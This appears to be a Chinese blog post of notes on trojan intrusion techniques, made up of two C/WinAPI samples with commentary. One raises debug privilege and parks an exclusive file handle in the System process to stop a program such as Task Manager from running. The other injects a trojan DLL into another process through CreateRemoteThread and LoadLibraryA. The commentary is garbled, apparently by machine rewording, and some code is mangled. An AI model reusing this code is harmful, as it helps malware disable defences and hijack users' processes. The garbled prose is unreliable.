ACCESS木马入侵技术小记


例1
当本人的程序运行期间怎样禁止某个程序运行,不待枚举窗口要FindWindow的方案。

//VC-ConsoleWithApi 

#include   

void RaiseToDebugP() //提权函数 

{ 

HANDLE hToken; 

HANDLE hProcess = GetCurrentProcess();//获得当前进程号

if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) 

{  //获得进程的访问令牌(用于修改该进程权限) 保存于hToken里

 TOKEN_PRIVILEGES tkp; 

  if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) ) 

  { //获得SE_DEBUG_NAME权限对应的GUID

   tkp.PrivilegeCount = 1; 

   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  

   BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ; 

  } //调整hToken句柄对应的进程的权限

 CloseHandle(hToken); 

}      

} 

  BOOL OccupyFile( LPCTSTR lpFileName ) 

  { 

      BOOL    bRet; 

      RaiseToDebugP(); //提升自身权限 

   //打开一个pid为4的进程,只要是存在的进程,都可以 

   HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);// 4为system进程号 

      if ( hProcess == NULL ) 

      {            

    return FALSE; 

      } 

      HANDLE hFile; 

      HANDLE hTargetHandle; 

   //以独占模式打开目标文件 参数 0表示不能被共享

   hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);      

           if ( hFile == INVALID_HANDLE_VALUE ) 

      { 

          CloseHandle( hProcess ); 

          return FALSE; 

      } 

 //把文件句柄复制到pid=4的进程中去,这样,只要pid=4的进程不退出,谁也动不了目标文件 

  bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,   

          0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);        CloseHandle( hProcess );        return bRet; 

  } 

  //入口函数 

  int main() 

  { 

      OccupyFile("D:""Program Files""工具软件""任务管理.exe"); 

     //任务管理.exe为要禁止运行的程序

      return 0; 

  } 

例2 远程注入

#include
<windows.h>
 

#include
<iostream.h>

int
EnableDebugPriv(const char * name)
{
                           HANDLE hToken;

                          
TOKEN_PRIVILEGES tp;

                          
LUID luid;

                          
//打开进程令牌环

 OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,  &hToken);

                          
//获得进程本地唯一ID

                   

       
LookupPrivilegeValue(NULL,name,&luid) ;

                          
tp.PrivilegeCount = 1;

                          
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

                          
tp.Privileges[0].Luid = luid;

                          
//调整权力

                          
AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

                          
return 0;

}

//************************************************************************************************************

BOOL InjectDll(const
char *DllFullPath, const DWORD dwRemoteProcessId)

{

                          
HANDLE hRemoteProcess;

                          
EnableDebugPriv(SE_DEBUG_NAME); //提升当前过程的权力,这样才会操纵我们如果注入dll的万分进程。上例有详实说明。

                          
//打开远程线程

                          
hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE,
dwRemoteProcessId );

                      

     char
*pszLibFileRemote;
                  

        
//使用VirtualAllocEx函数在长途进程的内存地址空间分配DLL文件称空间

pszLibFileRemote
=(char*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1,
MEM_COMMIT, PAGE_READWRITE);
                          

//使用WriteProcessMemory函数将DLL的途径名写副到长途进程的内存空间

 

WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);

//
pszLibFileRemote 为保存dll路径的注入进程的地点。

//##############################################################################

                          
//计算LoadLibraryA的入口地址

PTHREAD_START_ROUTINE
pfnStartAddr =
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)),
“LoadLibraryA”); //获得dll内函数LoadLibraryA的地址
                      

     //(关于GetModuleHandle函数和GetProcAddress函数)

                          
//启动远程线程LoadLibraryA,通过远程线程调用创建新的线程

        

                  
HANDLE hRemoteThread;

if( (hRemoteThread =
CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr,
pszLibFileRemote, 0, NULL) ) == NULL)
//在远端进程遭到创造一个线程,启动我们的dll中的LoadLibraryA

                          
{
                               cout<<“注入线程失败!”<<endl;

                              
return FALSE;
                           }

//##############################################################################

                      

     /*
                           // 在//###…..//###里之讲话为足以用如下的话语代替:

                           
DWORD dwID;

LPVOID pFunc =
LoadLibraryA;

HANDLE hRemoteThread =
CreateRemoteThread(hRemoteProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );

                           
//是未是深感简单了重重

                          
*/

                            
// 释放句柄

                          
CloseHandle(hRemoteProcess);

                          
CloseHandle(hRemoteThread);

                          
return TRUE;
}

//*****************************************************************************************************************************

int main()

{

     
InjectDll(“c:””zrqfzr.dll”,3060) ;//把zrqfzr.dll注入进程的ID号为3060之过程

       return 0;

}

恩好好好,我来解释一下,这即是一个极度简便的控制台程序,dll文件中纵使是咱形容的木马程序了。3060是咱们如果抢占的程序的Id号,普通的顺序中一直调用dll时用LoadLibrary(**.dll)
就可以了

(动态接在),但是现在我们不能够一直调用,因为调用这词也只有我们现在底过程知道,但是远端我们设注入的经过或无明了我们调用了,dll库。所以我们只要拿.dll

的路径存放到远端进程的内存中。(通过VirtualAllocEx();WriteProcessMemory();/)然后在远端进程遭到被线程

CreateRemoteThread(hRemoteProcess,
NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID
);注意参数pszLibFileRemote这就算是远端进程保存之我们dll

文本路径的内存的首地址。通过之路,我们的远端进程就可以错过摸索dll的落实文件。从而找到LoadLibraryA的地点,就得运作LoadLibraryA函数了。

1
次首先升级自我的权柄
(这样才好控制他人嘛)

2 通过进程Id获得我们如果控制的经过的句柄,

3拿DLL文件的门径写副到宿主的内存空间里,因为DLL的文本路径并无有于宿主进程内存空间了,用到的函数有:

OpenProcess();//用于修改宿主进程的片段性质,详细参看MSDN

VirtualAllocEx();//用于在宿主内存空间中申请内存空间以写入DLL的文本名

WriteProcessMemory();//往申请及之空中中描写入DLL的文件称

4当宿主中启动新的线程

故的凡LoadLibraryA()函数来加载,但于运LoadLibraryA()之前须知道其的入口地址,所以用GetProcAdress来赢得其的进口地址,有了她的地方然后,就可以为此CreateRemoteThread()

函数来启动新的线程了,到次,整个注入过程做到,不过还不慌健全,这便留给聪明之而来成功了;)。

详见:http://hi.baidu.com/43755979/blog/item/73b35eddcbaab7db8d1029e2.html

 

相关文章